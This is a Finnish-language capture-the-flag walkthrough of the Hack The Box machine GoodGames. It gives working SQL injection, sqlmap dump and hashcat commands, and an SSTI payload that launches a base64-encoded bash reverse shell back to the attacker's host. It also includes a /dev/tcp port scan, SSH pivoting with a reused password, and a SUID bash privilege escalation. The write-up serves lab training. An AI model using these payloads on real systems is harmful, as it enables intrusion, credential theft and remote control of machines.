User flag
Nmap-skannauksesta huomataan, että kohteessa on avoinna Apache HTTP-palvelin portissa 80. Syötteestä nähdään osoite goodgames.htb. Lisätty /etc/hosts -tiedostoon kohteen IP-osoite 10.10.11.130 vastaamaan osoitetta goodgames.htb
Osoitteessa goodgames.htb nähdään pelisivusto, jossa on myös blogi- ja kauppavälilehdet, sekä mahdollisuus kirjautua sisään.
Kokeiltu kirjautua sisään sähköpostilla admin@goodgames.htb ja salasanalla password.
Siepattu pyyntö Burp Suitella.
Lähetetty pyyntö Burp Suitessa Repeater-välilehdelle, ja kokeiltu onko kirjautumiskenttä haavoittuvainen SQL-injektiolle, sijoittamalla sähköpostikenttään: admin’ or 1 = 1 — –
Vastauksestä nähdään, että kirjautuminen onnistui. Tallennettu pyyntö, jossa kokeiltu kirjautua sähköpostilla admin@goodgames.htb tiedostoksi nimeltä request, jotta voidaan käyttää pyyntöä SQLMap-työkalulla.
SQLMapilla haettu kohteen tietokannat. Kohteesta löytyi tietokannat information_schema ja main.
sqlmap -r request -p email --dbs
SQLMapilla listattu tietokannan main taulut. Huomataan taulut user, blog ja blog_comments.
sqlmap -r request -p email --dbs -D main --tables
Dumpattu taulun user koko sisältö, ja nähdään käyttäjän admin salasanatiiviste.
sqlmap -r request -p email --dbs -D main --tables -T user --dump
Kopioitu salasanatiiviste tiedostoon hash.txt ja hashid:lla tarkistettu tiivisteen salausalgoritmi, joka on MD5.
hashid -m hash.txt
Hashcatilla onnistuneesti murrettu salasana: superadministrator.
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
Kirjauduttu onnistuneesti sisään sähköpostilla admin@goodgames.htb ja salasanalla superadministrator.
Siepattu HTTP-pyyntö, kun oltu kirjautuneen sisään käyttäjänä admin. Pyynnön vastauksesta nähdään osoite http://internal-administration.goodgames.htb.
Lisätty /etc/hosts -tiedostoon kohteen IP-osoite 10.10.11.130 vastaamaan osoitetta internal-administration.goodgames.htb.
Selaimella aukaistu osoite http://internal-administration.goodgames.htb/login. Sivulla on Flask-kirjautumissivu.
Onnistuneesti kirjauduttu sisään käyttäjätunnuksella admin ja salasanalla superadministrator.
Asetukset-välilehdellä huomataan mahdollisuus päivittää oman profiilin tietoja. Nimi-kenttään sijoitettu SSTI-payloadi: {{7*7}}.
Tallentamisen jälkeen huomataan, että payloadi suoritettiin, koska nimi vaihtu numeroksi 49 (7 * 7 = 49), joten kohde on haavoittuva Server Side Template injektiolle.
Generoitu bash reverse shell käyttäen hyökkäyskoneen IP-osoitetta ja porttia 443, ja muutettu Base64 muotoon: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MyAwPiYx
Työkalu: https://www.revshells.com/
Hyökkäyskoneessa käynnistetty Netcat-kuuntelija porttiin 443.
Profiilin nimi-kenttään sijoitettu SSTI-payloadi:
{{config.__class__.__init__.__globals__['os'].popen('echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MyAwPiYx=${IFS}|base64${IFS}-d|bash').read()}}
Netcat-kuuntelijassa saatu onnistuneesti root-shell.
User flag löytyi hakemistosta /home/augustus.
Root flag
Vaikka saatiin shell roottina, ei root flag kuitenkaan löytynyt hakemistosta /root.
Hakemistosta /home/augustus huomataan, että tiedostojen omistajana on UID 1000, sen sijaan että omistus olisi merkitty nimellä.
Komennolla mount
tarkistettu kiinnitetyt hakemistot. Huomataan, että hakemisto /home/augustus on kiinnitetty.
Komennolla ifconfig
tarkistettu kohteen verkkosovittimien IP-osoitteet, ja huomataan IP-osoite 172.19.0.2, joka on mahdollisen Docker-kontin IP-osoite. Oletuksena Docker määrittää aliverkon ensimmäisen IP-osoitteen järjestelmän käyttöön.
Kohteessa tehty porttiskannaus IP-osoitteeseen 172.19.0.1, ja huomataan, että TCP-portti 22 (SSH) on avoinna.
for PORT in {0..1000}; do timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT
&>/dev/null" 2>/dev/null && echo "port $PORT is open"; done
Kohteesta käsin onnistuneesti saatu SSH-yhteys käyttäjänä augustus osoitteeseen 172.19.0.1 käyttäen aiempaa salasanaa superadministrator.
script /dev/null bash
ssh augustus@172.19.0.1
Kopioitu binääri bash käyttäjän augustus kotihakemistoon ja katkaistu SSH-yhteys. Vaihdettu suoritettavaan tiedostoon bash omistajaksi ja ryhmäksi root, sekä lisätty tiedostoon luku-, kirjoitus- ja suoritusoikeudet.
cp /bin/bash .
exit
chown root:root bash
chmod 4755 bash
Kirjauduttu takaisin käyttäjänä augustus ja tarkistettu tiedoston bash oikeudet. Suoritettu tiedosto ja onnistuneesti saatu shell root-UID:lla.
ssh augustus@172.19.0.1
./bash -p
Root flag oli nyt saatavilla hakemistossa /root.